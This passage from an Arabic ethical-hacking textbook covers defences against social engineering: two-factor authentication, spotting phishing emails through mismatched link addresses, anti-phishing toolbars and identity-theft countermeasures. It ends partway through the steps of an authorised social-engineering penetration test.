‫ﻓﻲ ﻧﮭﺞ اﺛﻧﯾن ﻣن ﻋﺎﻣل اﻟﺗوﺛﯾﻖ )‪ ،(TFA‬ﯾﺣﺗﺎج اﻟﻣﺳﺗﺧدم أو اﻟﺷﺧص ﻟﺗﻘدﯾم ﺷﻛﻠﯾن ﻣﺧﺗﻠﻔﯾن ﻣن إﺛﺑﺎت اﻟﮭوﯾﺔ‪ .‬إذا ﻛﺎن اﻟﻣﮭﺎﺟم ﺣﺎول ﻛﺳر‬
‫اﻟدﺧول إﻟﻰ ﺣﺳﺎب اﻟﻣﺳﺗﺧدم‪ ،‬ﺛم ﻓﺎﻧﮫ ﯾﺣﺗﺎج ﻟﻛﺳر ھذﯾن اﻟﺷﻛﻠﯾن ﻣن ھوﯾﺔ اﻟﻣﺳﺗﺧدم‪ ،‬وھو أﻣر ﺻﻌب ﺑﻌض اﻟﺷﻲء‪ .‬وﺑﺎﻟﺗﺎﻟﻲ‪ ،‬وﻛﻣﺎ ھو‬
‫ﻣﻌروف ‪ TFA‬ﯾﻌرف ﺑﺎﻟﯾﺔ اﻟدﻓﺎع اﻷﻣﻧﻲ اﻟﻌﻣﯾﻖ‪ .‬وھﻲ ﺟزء ﻣن ﻋﺎﺋﻠﺔ اﻟﻣﺻﺎدﻗﺔ ﻣﺗﻌددة اﻟﻌواﻣل‪ .‬ﻗطﻌﺗﻲ اﻷﻣن اﻻﺛﻧﯾن ﺗﺣﺗﺎج اﻟﻰ اﻷدﻟﺔ‬
‫اﻟﺗﻲ ﯾﻧﺑﻐﻲ أن ﯾوﻓرھﺎ اﻟﻣﺳﺗﺧدم واﻟﺗﻲ ﻗد ﺗﺷﻣل‪ :‬رﻣز ﻣﺎدي )‪ ،(physical token‬ﻣﺛل اﻟﺑطﺎﻗﺔ‪ ،‬وﺷﻲء ﻣﺎ ﻋﺎدة ﻣﺎ ﯾﺣﻔظﮫ اﻟﺷﺧص ﻓﻲ‬
‫اﻟذاﻛرة‪ ،‬ﻣﺛل رﻣز اﻟﺣﻣﺎﯾﺔ‪ ،PIN ،‬أو ﻛﻠﻣﺔ اﻟﻣرور‪.‬‬
‫دﻓﺎﻋﺎت ﻣﻜﺎﻓﺤﺔ اﻟﻔﯿﺮوﺳﺎت‪/‬ﻣﻜﺎﻓﺤﺔ اﻟﺨﺪاع‬
‫اﺳﺗﺧدام طﺑﻘﺎت ﻣﺗﻌددة ﻣن اﻟدﻓﺎﻋﺎت ﻟﻣﻛﺎﻓﺣﺔ اﻟﻔﯾروﺳﺎت ﻓﻲ أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر اﻟﻣﻛﺗﺑﯾﺔ ﻟﻠﻣﺳﺗﺧدم اﻟﻧﮭﺎﺋﻲ وﻋﻠﻰ ﺑواﺑﺎت اﻟﺑرﯾد ﯾﻘﻠل ﻣن اﻟﺗﮭدﯾد‬
‫ﺿد اﻟﺗﺻﯾد وھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻷﺧرى‪.‬‬
‫ﺗﻐﯿﺮ اﻹدارة )‪(Change Management‬‬
‫ﺗوﺛﯾﻖ ﻋﻣﻠﯾﺔ ﺗﻐﯾر اﻹدارة أﻛﺛر ﺛﻘﺔ ﻣن ﻋﻣﻠﯾﺔ ‪.ad-hoc‬‬

‫ﻛﯾﻔﯾﺔ اﻟﻛﺷف ﻋن اﻟرﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﯾﺔ اﻻﺣﺗﯾﺎﻟﯾﺔ )‪(How To Detect Phishing Emails‬‬
‫ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻠﻛﺷف ﻋن رﺳﺎﺋل اﻟﺗﺻﯾد )‪ ،(phishing email‬ﻓﺈن أول ﺷﻲء ﺗﺣﺗﺎج إﻟﻰ اﻟﺗﺣﻘﻖ ﻣﻧﮫ ھو "اﻟﻌﻧوان"‪ .‬أﺣﯾﺎﻧﺎ ﯾﻘوم اﻟﻣﮭﺎﺟﻣﯾن‬
‫ﺑﺈرﺳﺎل رﺳﺎﺋل اﻟﺗﺻﯾد ﻣن ﺣﺳﺎب ﯾﺑدو أﻧﮫ ﺣﻘﯾﻘﻲ وﻟﻛن ﻟﯾس ﻛذﻟك ﻓﻲ اﻟواﻗﻊ‪ .‬إذا ﻛﺎن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﯾﺣﺗوي ﻋﻠﻰ أﯾﺔ رواﺑط‪ ،‬ﻓﻘم أول‬
‫"ﺑوﺿﻊ" ﻣؤﺷر اﻟﻣﺎوس ﻓوق اﻟراﺑط ﻣن دون اﻟﻧﻘر ﻟﻣﻌرﻓﺔ ﻣﺎ ھو اﻟراﺑط ﻗﺑل اﻟﻧﻘر ﻓوﻗﮫ‪ .‬ﻓﺈذا ﻛﺎن ھذا ھو ﻧﻔس اﻟوﺻف ﻟﻠراﺑط ﻓﻲ اﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ‪ ،‬ﻓﻣن اﻟﻣﺣﺗﻣل أن ھذا ﻻ ﯾﻛون رﺳﺎﺋل اﻟﺗﺻﯾد‪ .‬ﺑﻌض اﻟﻣﮭﺎﺟﻣﯾن ﺗﻣﻛﻧوا ﻣن ﻋرض ﻧﻔﺳﮫ ‪ URL‬وظﮭوره أﯾﺿﺎ ﯾﺑدو ﺗﻘرﯾﺑﺎ ﻣﺷﺎﺑﮫ‬
‫ﻟﻣوﻗﻊ ﺣﻘﯾﻘﻲ‪ .‬ﻓﻲ ﻣﺛل ھذه اﻟﺣﺎﻻت‪ ،‬ﯾﻣﻛﻧك اﻟﺗﺣﻘﻖ ﻣﺎ إذا ﻛﺎن اﻻرﺗﺑﺎط ھو ﺣﻘﯾﻘﻲ أو ﻣﺧﺎدع ﻣن ﺧﻼل اﻟﻧظر ﻓﻲ ﺷﻔرة اﻟﻣﺻدر‪ .‬ﯾﻣﻛﻧك اﻟﻘﯾﺎم‬
‫ﺑذﻟك ﻋن طرﯾﻖ اﻟﻧﻘر ﺑزر اﻟﻣﺎوس اﻷﯾﻣن ﻋﻠﻰ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ واﺧﺗﯾﺎر ﻋرض اﻟﻣﺻدر‪ .‬ھذا ﯾدل ﻋﻠﻰ رﻣز اﻟﻣﺳﺗﺧدم ﻟﻌرض اﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ‪ .‬ﺗﺻﻔﺢ اﻟرﻣز واﺑﺣث ﻋن اﻟراﺑط‪ .‬إذا ﻟم ﺗﻛن ﻗﺎدرة ﻋﻠﻰ اﻟﻌﺛور ﻋﻠﻰ وﺻﻠﺔ‪ ،‬ﻓﺎذا ﻓﺈﻧﮭﺎ وﺻﻠﺔ ﺗﺻﯾد‪ .‬ﻻ ﺗوﻓر أي ﻧوع ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت ﻋﻠﻰ ﻣﺛل ھذه اﻟرواﺑط‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ أﻋراض ﺗﺻﯾد اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪1000‬‬

‫‪ -‬ﯾﺷﻣل ﻋﻠﻰ رواﺑط ﺗؤدي إﻟﻰ ﻣواﻗﻊ اﻟﻣﻧﺗﺣﻠﺔ ﺗطﻠب ﻣﻧك إدﺧﺎل اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻋﻧد اﻟﻧﻘر ﻋﻠﯾﮭﺎ‪.‬‬
‫‪ -‬رﺳﺎﺋل اﻟﺗﺻﯾد ﺗﺑدو وﻛﺄﻧﮭﺎ ﻣن ﺑﻧك أو ﻣؤﺳﺳﺔ ﻣﺎﻟﯾﺔ أو ﺷرﻛﺔ أو ﻣوﻗﻊ اﻟﺗواﺻل اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫‪ -‬ﯾﺑدو أﻧﮫ ﻣن اﻟﺷﺧص اﻟذي ﺗم ﻛﺗﺎﺑﮫ ﻋﻧوان اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺧﺎص ﺑك ﻓﻲ ﻗﺎﺋﻣﺔ اﻟﺑرﯾد ﺧﺎﺻﺗك‪.‬‬
‫‪ -‬ﯾوﺟﮫ ﻟك اﻻﺗﺻﺎل ﺑرﻗم ھﺎﺗف ﻣن أﺟل ﺗوﻓﯾر رﻗم اﻟﺣﺳﺎب‪ ،‬رﻗم اﻟﺗﻌرﯾف اﻟﺷﺧﺻﻲ أو ﻛﻠﻣﺔ اﻟﻣرور أو اﻟﻣﻌﻠوﻣﺎت اﻟﺳرﯾﺔ‪.‬‬
‫‪ -‬ﯾﺷﻣل ﻋﻠﻰ اﻟﺷﻌﺎرات اﻟﺗﻲ ﺗﺑدو رﺳﻣﯾﺔ وﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت ﻣﺄﺧوذة ﻣﺑﺎﺷرة ﻣن اﻟﻣواﻗﻊ اﻟﻣﺷروﻋﺔ‪ ،‬ﻹﻗﻧﺎﻋك ﻟﻠﻛﺷف ﻋن ﺗﻔﺎﺻﯾل‬
‫اﻟﺷﺧﺻﯾﺔ‪.‬‬
‫اﻟﺻورة اﻟﺗﺎﻟﯾﺔ ﺗﺑدو ﻛﺛﯾرا ﻣﺛل رﺳﺎﻟﺔ ﺑرﯾد إﻟﻛﺗروﻧﻲ ﻣن ﺑﻧك ‪ .HSBC‬اﻟﺑرﯾد ھو ﺣول اﻟﺗﺣﻘﻖ ﻣن اﻟﺣﺳﺎب وﯾﺣﺗوي ﻋﻠﻰ وﺻﻠﺔ ﻟﻠﺗﺣﻘﻖ‬
‫ﻣﻧﮭﺎ‪ .‬ﻋﻧد ﻣرور اﻟﻣﺎوس ﻋﻠﻰ اﻻرﺗﺑﺎط اﻟﻣﻧﺻوص ﻋﻠﯾﮫ ﻓﻲ اﻟﺑرﯾد‪ ،‬ﻓﺈﻧﮫ ﯾﺗم ﻋرض ﻋﻧوان آﺧر‪ .‬وﺑﺎﻟﺗﺎﻟﻲ‪ ،‬ﻓﺈﻧﮫ ﯾﻣﻛن اﻋﺗﺑﺎره ﺑرﯾد اﻟﺧداع‪.‬‬
‫اﻟﺷﺧص اﻟﻐﯾر واﻋﻰ ﻋن اﻟﺗﺻﯾد ﻗد ﯾﺿﻐط ﻋﻠﻰ اﻟراﺑط وﯾﻘدم أوراق اﻋﺗﻣﺎد اﻟﺳرﯾﺔ‪ ،‬ﺣﯾث ﯾﺗﻌﺎﻣل ﻣﻌﮫ ﻋﻠﻰ أﻧﮫ ﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺣﻘﯾﻘﻲ ﻣن‬
‫اﻟﺑﻧك‪ .‬ھذا ﯾﻌﻧﻲ ان اﻟﻣﮭﺎﺟم ﻧﺟﺢ ﻓﻲ ﺧداع اﻟﻣﺳﺗﺧدم واﻟﻣﺳﺗﺧدم ﻗد ﯾواﺟﮫ ﺧﺳﺎرة ﻣﺎﻟﯾﺔ ﻛﺑﯾرة‪ .‬ﻟﺗﺟﻧب ﻣﺛل ھذه اﻟﮭﺟﻣﺎت‪ ،‬ﯾﺟب ﻋﻠﻰ ﻛل‬
‫ﻣﺳﺗﺧدم اﻟﺗﺄﻛﯾد ﻣﺎ إذا ﻛﺎن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ھو ﺣﻘﯾﻘﻲ أم ﻻ ﻗﺑل اﻟﻧﻘر ﻋﻠﻰ اﻟراﺑط وﺗوﻓﯾر اﻟﻣﻌﻠوﻣﺎت‪ .‬طرﯾﻘﺔ واﺣدة ﻟﻠﻛﺷف ﻋن رﺳﺎﺋل‬
‫اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺗﺻﯾد ھو إﻟﻘﺎء ﻧظرة ﻋﻠﻰ أﺷﺎر ‪ URL‬اﻟﻔﻌﻠﻲ ﻣن ﻗﺑل أي وﺻﻼت اﻻﻧﺗرﻧت ﻓﻲ ﻧص رﺳﺎﻟﺔ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ .‬ﻋﻠﻰ‬
‫ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟراﺑط ‪ http://www.hsbc.com/usr/verification.aspx‬ھو ﯾرﺗﺑط ﻓﻲ اﻟواﻗﻊ ﻣﻊ‬
‫‪ ،http://www.108.214.65.147.com/form.aspx‬واﻟذي ھو ﻟﯾس ﻣوﻗﻊ اﻟﺑﻧك اﻷﺻﻠﻲ‪ .‬اﻟﻣﮭﺎﺟم ﻋﺎدة ﯾﺧﻔﻲ وﺻﻠﺔ اﻟﺗﺻﯾد‬
‫)‪ (phishing link‬ﻓﻲ ﺷﻛل ‪ .URL‬ﻋﻧدﻣﺎ ﯾﻧﻘر اﻟﻣﺳﺗﺧدم ﻋﻠﻰ راﺑط اﻟﺗﺻﯾد‪ ،‬ﻓﺎﻧﮫ ﯾﻘوم ﺑﺈﻋﺎدة ﺗوﺟﯾﮭك إﻟﻰ ﻣوﻗﻊ ﻣزﯾف وﺟﻣﻊ اﻟﺗﻔﺎﺻﯾل‬
‫اﻟواردة ﻣن ﻗﺑل اﻟﻣﺳﺗﺧدم وﺳرﻗﺗﮭﺎ وإﺳﺎءة اﺳﺗﺧداﻣﮭﺎ‪.‬‬

‫‪Anti-Phishing Toolbar: Netcraft‬‬

‫اﻟﻣﺻدر‪http://toolbar.netcraft.com :‬‬
‫ﯾوﻓر ﺷرﯾط أدوات ﻧﯾﺗﻛراﻓت ﻣﻌﻠوﻣﺎت ﻣﺣدﺛﺔ ﻋن اﻟﻣواﻗﻊ اﻟﺗﻲ ﺗزورھﺎ ﺑﺎﻧﺗظﺎم وﻛﺗل اﻟﻣواﻗﻊ اﻟﺧطرة‪ .‬ﺷرﯾط اﻷدوات ﯾوﻓر ﻟك ﺛروة ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت ﺣول اﻟﻣواﻗﻊ اﻟﺗﻲ ﺗزورھﺎ‪ .‬ھذه اﻟﻣﻌﻠوﻣﺎت ﺳوف ﺗﺳﺎﻋدك ﻋﻠﻰ اﺗﺧﺎذ ﻗرار ﻣﺳﺗﻧﯾر ﺑﺷﺄن ﺳﻼﻣﺔ ھذه اﻟﻣواﻗﻊ‪ .‬وھو ﯾﺣﻣﻲ ﻟﻛم ﻣن‬
‫ھﺟﻣﺎت ﺗﺻﯾد اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﯾﺗﺣﻘﻖ ﻣن اﻟﻣوﻗﻊ وﺗﻘﯾﯾم اﻟﻣﺧﺎطر ﺑﺎﺳﺗﺿﺎﻓﺔ ﻛل ﻣوﻗﻊ ﺗزوره‪ ،‬وﯾﺳﺎﻋد ﻋﻠﻰ ﺗﺄﻣﯾن ﻣﺟﺗﻣﻊ اﻹﻧﺗرﻧت ﻣن اﻟﻣﺣﺗﺎﻟﯾن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪1001‬‬

‫‪Anti-Phishing Toolbar: PhishTank‬‬

‫اﻟﻣﺻدر‪http://www.phishtank.com :‬‬
‫‪ PhishTank‬ھو ﻣوﻗﻊ ﻣﺟﺗﻣﻊ ﺣﯾث ﯾﻣﻛن ﻷي ﻓرد أو ﻣﺟﻣوﻋﺔ ﯾﻣﻛن أن ﯾﺳﺟل ﻓﯾﮫ‪ ،‬اﻟﻣﺳﺎر‪ ،‬واﻟﺗﺣﻘﻖ ﻣن ﻣواﻗﻊ اﻟﺗﺻﯾد‪ .‬وھو ﻣوﻗﻊ‬
‫ﺗﻌﺎوﻧﻲ ﯾﺣوي اﻟﻌدﯾد ﻣن اﻟﺑﯾﺎﻧﺎت واﻟﻣﻌﻠوﻣﺎت ﺣول اﻟﺗﺻﯾد ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﯾﺗم ﺗوﻓﯾر ‪ API‬ﻣﻔﺗوﺣﺔ ﻟﻠﻣطورﯾن‬
‫واﻟﺑﺎﺣﺛﯾن ﻣن ‪ PhishTank‬ﻟدﻣﺞ ﺑﯾﺎﻧﺎت ﻣﻛﺎﻓﺣﺔ اﻟﺧداع ﻓﻲ ﺗطﺑﯾﻘﺎﺗﮭم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪1002‬‬

‫اﻟﺗداﺑﯾر اﻟﻣﺿﺎدة ﺿد ﺳرﻗﺔ اﻟﮭوﯾﺔ )‪(Identity Theft Countermeasures‬‬

‫ﺗﺣدث ﺳرﻗﺔ اﻟﮭوﯾﺔ ﻋﻧدﻣﺎ ﯾﺳﺗﺧدم ﺷﺧص ﻣﺎ ﻣﻌﻠوﻣﺎﺗك اﻟﺷﺧﺻﯾﺔ ﻣﺛل اﺳﻣك‪ ،‬رﻗم اﻟﺿﻣﺎن اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﺗﺎرﯾﺦ اﻟﻣﯾﻼد‪ ،‬اﺳم اﻷم ﻗﺑل اﻟزواج‪،‬‬
‫واﻟﻌﻧوان ﺑطرﯾﻘﺔ ﺧﺑﯾﺛﺔ‪ ،‬ﻣﺛل ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن أو اﻟﻘروض أو اﻟﺧدﻣﺎت أو ﺣﺗﻰ اﻻﯾﺟﺎرات واﻟرھوﻧﺎت دون ﻣﻌرﻓﺔ أو إذن ﻣﻧك‪ .‬اﻟﺗداﺑﯾر‬
‫اﻟﻣﺿﺎدة ھﻲ اﻟﻣﻔﺗﺎح ﻟﺗﺟﻧب ﺳرﻗﺔ اﻟﮭوﯾﺔ‪ .‬ﺗﺳﺎﻋدك ھذه اﻟﺗداﺑﯾر ﻣن ﻣﻧﻊ واﻻﺳﺗﺟﺎﺑﺔ ﻟﺳرﻗﺔ اﻟﮭوﯾﺔ‪ .‬ﻓرص ﺳرﻗﺔ اﻟﮭوﯾﺔ ﺗﺣدث ﺑﺷﻛل ﯾﻣﻛن‬
‫ﺗﺧﻔﯾﺿﮫ ﺑﺳﮭوﻟﺔ ﺑﺎﺗﺑﺎع اﻟﺗداﺑﯾر اﻟﻣﺿﺎدة‪:‬‬

‫ﺗﺄﻣﯾن أو ﺗﻣزﯾﻖ ﺟﻣﯾﻊ اﻟوﺛﺎﺋﻖ اﻟﺗﻲ ﺗﺗﺿﻣن ﻣﻌﻠوﻣﺎت ﺧﺎﺻﺔ ﻋﻧك‪.‬‬ ‫‪-‬‬
‫اﻟﺣﻔﺎظ ﻋﻠﻰ اﻟﺑرﯾد اﻟﺧﺎص ﺑك آﻣن وﺗﻔرﯾﻎ ﺻﻧدوق اﻟﺑرﯾد اﻟﺧﺎص ﺑك ﺑﺳرﻋﺔ‪.‬‬ ‫‪-‬‬
‫ﺿﻣﺎن ﻋدم وﺟود اﺳﻣك ﻋﻠﻰ ﻗواﺋم ﺿرب اﻟﻣﺳوﻗﯾن‪.‬‬ ‫‪-‬‬
‫اﺷﺗﺑﮫ وﺗﺣﻘﻖ ﻣن ﺟﻣﯾﻊ طﻠﺑﺎت اﻟﺑﯾﺎﻧﺎت اﻟﺷﺧﺻﯾﺔ‪.‬‬ ‫‪-‬‬
‫اﺳﺗﻌراض ﺗﻘﺎرﯾر ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن اﻟﺧﺎﺻﺔ ﺑك ﺑﺷﻛل ﻣﻧﺗظم وﻋدم اﻟﺳﻣﺎح ﺑﺑﻌد اﻟﺑطﺎﻗﺎت اﻟﺧﺎﺻﺔ ﺑك ﻋن ﺑﺻرك‪.‬‬ ‫‪-‬‬
‫ﺣﻣﺎﯾﺔ ﻣﻌﻠوﻣﺎﺗك اﻟﺷﺧﺻﯾﺔ ﻣن اﻟﺗﻌرض ﻟﻠﻧﺷر‪.‬‬ ‫‪-‬‬
‫ﻻ ﺗﻌط أﯾﺔ ﻣﻌﻠوﻣﺎت ﺷﺧﺻﯾﺔ ﻋﻠﻰ اﻟﮭﺎﺗف‪.‬‬ ‫‪-‬‬
‫ﻻ ﺗﻌرض أرﻗﺎم اﻟﺣﺳﺎﺑﺎت‪/‬اﺗﺻﺎل ﻣﺎ ﻟم ﺗﻛن إﻟزاﻣﯾﺔ‪.‬‬ ‫‪-‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪1003‬‬

‫‪ 9.7‬ﻣﺨﺘﺒﺮ اﻻﺧﺘﺮاق )‪(Penetration Testing‬‬

‫ﯾﻌﺗﺑر اﻵن أﻧﮫ أﺻﺑﺢ ﻣﺄﻟوﻓﺎ ﻟك ﺟﻣﯾﻊ اﻟﻣﻔﺎھﯾم اﻟﻼزﻣﺔ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﺗﻘﻧﯾﺎت أداء اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬واﻟﺗداﺑﯾر اﻟﻣﺿﺎدة اﻟﺗﻲ‬
‫ﯾﻧﺑﻐﻲ ﺗطﺑﯾﻘﮭﺎ ﻟﻣﺧﺗﻠف اﻟﺗﮭدﯾدات‪ ،‬ﺳﻧﺷرع ﻓﻲ اﺧﺗﺑﺎر اﻻﺧﺗراق‪ .‬اﻟﻔﺣص اﻟﮭﻧدﺳﻲ اﻻﺟﺗﻣﺎﻋﻲ وھو ﻋﻣﻠﯾﺔ اﺧﺗﺑﺎر اﻷﻣن اﻟﮭدف ﺿد اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ﺧﻼل ﻣﺣﺎﻛﺎة ﺗﺻرﻓﺎت اﻟﻣﮭﺎﺟم‪.‬‬
‫ﯾﺻف ھذا اﻟﻘﺳم اﻻﺟﺗﻣﺎﻋﻲ اﻟﻔﺣص اﻟﮭﻧدﺳﻲ اﻻﻣﻧﺔ واﻟﺧطوات اﻟواﺟب اﺗﺑﺎﻋﮭﺎ ﻹﺟراء اﻻﺧﺗﺑﺎر‪.‬‬

‫اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Social Engineering Pen Testing‬‬

‫اﻟﮭدف اﻟرﺋﯾﺳﻲ ﻣن اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو ﻻﺧﺗﺑﺎر ﻗوة اﻟﻌواﻣل اﻟﺑﺷرﯾﺔ ﻓﻲ ﺳﻠﺳﻠﺔ اﻷﻣن داﺧل اﻟﻣﻧظﻣﺔ‪ .‬وﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم‬
‫اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟرﻓﻊ ﻣﺳﺗوى اﻟوﻋﻲ اﻷﻣﻧﻲ ﺑﯾن اﻟﻣوظﻔﯾن‪ .‬اﻻﺧﺗﺑﺎر ﯾﻧﺑﻐﻲ أن ﯾﺑﯾن اﻟﺣذر اﻟﺷدﯾد واﻻﺣﺗراف ﻓﻲ اﺧﺗﺑﺎر‬
‫اﻻﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻷﻧﮭﺎ ﻗد ﺗﻧطوي ﻋﻠﻰ ﻣﺳﺎﺋل ﻗﺎﻧوﻧﯾﺔ ﻣﺛل اﻧﺗﮭﺎك اﻟﺧﺻوﺻﯾﺔ‪ ،‬وﻗد ﯾؤدي إﻟﻰ وﺿﻊ ﻣﺣرج ﻟﻠﻣﻧظﻣﺔ‪ .‬اﺧﺗﺑﺎر‬
‫اﻻﺧﺗراق ﯾﺟب ان ﯾﻘوم ﺑﺗﺛﻘﯾف ﻣوظﻔﯾن اﻟﻣﻧظﻣﺔ ﺣول ﺣﯾل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ واﻟﻌواﻗب‪ .‬ﺑﻣﺛﺎﺑﺔ اﺧﺗﺑﺎر اﻻﺧﺗراق‪ ،‬أوﻻ ﯾﺟب ﻋﻠﯾك اﻟﺣﺻول‬
‫ﻋﻠﻰ اﻟﺗﺻرﯾﺢ اﻟﻼزم ﻣن اﻟﻣﺳؤوﻟﯾن ﻟﻠﺗﻧظﯾم وﻣن ﺛم ﺗﻧﻔﯾذ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﺟﻣﻊ ﻛل اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛﻧك ﺛم ﺗﻧظﯾم اﻻﺟﺗﻣﺎع‪ .‬اﻟﺷرح‬
‫ﻟﻠﻣوظﻔﯾن اﻟﺗﻘﻧﯾﺎت اﻟﺗﻲ ﺗﺳﺗﺧدم ﻻﻧﺗزاع اﻟﻣﻌﻠوﻣﺎت‪ ،‬وﻛﯾف ﯾﻣﻛن اﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت ﺿد اﻟﻣﻧظﻣﺔ وأﯾﺿﺎ اﻟﻌﻘوﺑﺎت اﻟﺗﻲ ﺳوف ﺗﺣﻣل‬
‫ﻋﻠﻰ اﻷﺷﺧﺎص اﻟﻣﺳؤوﻟﯾن ﻋن ﺗﺳرب اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻣﺣﺎوﻟﺔ اﻟﺗﺛﻘﯾف وإﻋطﺎء اﻟﻣﻌرﻓﺔ اﻟﻌﻣﻠﯾﺔ ﻟﻠﻣوظﻔﯾن ﺣول اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻷن ھذا ھو‬
‫اﻟﺗدﺑﯾر اﻟوﻗﺎﺋﻲ اﻟﻌظﯾم اﻟوﺣﯾد ﺿد اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﺟﻣﻊ ﻛل ﻣﺻﺎدر اﻟﻣﻌﻠوﻣﺎت اﻟﻣﻣﻛﻧﺔ واﺧﺗﺑﺎرھﺎ ﺿد ﺟﻣﯾﻊ ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺣﺗﻣﻠﺔ‪ .‬وﺑﺎﻟﺗﺎﻟﻲ‪ ،‬ﻓﺎن اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﺗطﻠب اﻟﻛﺛﯾر ﻣن اﻟﺟﮭد واﻟﺻﺑر ﻻﺧﺗﺑﺎر ﺟﻣﯾﻊ ﻣﺻﺎدر اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﺣﺗﻰ ﺑﻌد وﺿﻊ اﻟﻛﺛﯾر ﻣن اﻟﺟﮭد ﻓﻲ ھذا‪ ،‬إذا ﻛﻧت ﺗﻔﺗﻘد ﻷي ﻣﺻدر ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻘدم ﻣﻌﻠوﻣﺎت ﻗﯾﻣﺔ ﻟﻠﻣﮭﺎﺟﻣﯾن‪ ،‬ﻓﺎن ﻛل‬
‫ﺟﮭودك ﻻ ﺗﺳﺎوي ﺷﯾﺋﺎ‪ .‬ﻟذا ﻓﻣن اﻟﻣﺳﺗﺣﺳن أن ﺗﻘدم ﺑﻘﺎﺋﻣﺔ وﺗﺗﺑﻊ اﻟﺧطوات اﻟﻘﯾﺎﺳﯾﺔ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬وھذا ﯾﺿﻣن ﻧطﺎق اﻟﺣد اﻷﻗﺻﻰ‬
‫ﻻﺧﺗﺑﺎر اﻻﺧﺗراق‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ اﻟﺧطوات اﻟﻣﺗﺑﻌﺔ ﻓﻲ اﻻﺧﺗﺑﺎر اﻟﻧﻣوذﺟﻲ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪:‬‬
‫اﻟﺨﻄﻮة ‪ :1‬اﻟﺤﺼﻮل ﻋﻠﻰ إذن‬
‫اﻟﺧطوة اﻷوﻟﻰ ﻓﻲ اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو اﻟﺣﺻول ﻋﻠﻰ إذن وﺗرﺧﯾص ﻣن اﻹدارة ﻹﺟراء اﻻﺧﺗﺑﺎر‪.‬‬
‫اﻟﺨﻄﻮة ‪ :2‬ﺗﺤﺪﯾﺪ ﻧﻄﺎق اﺧﺘﺒﺎر اﻻﺧﺘﺮاق‬
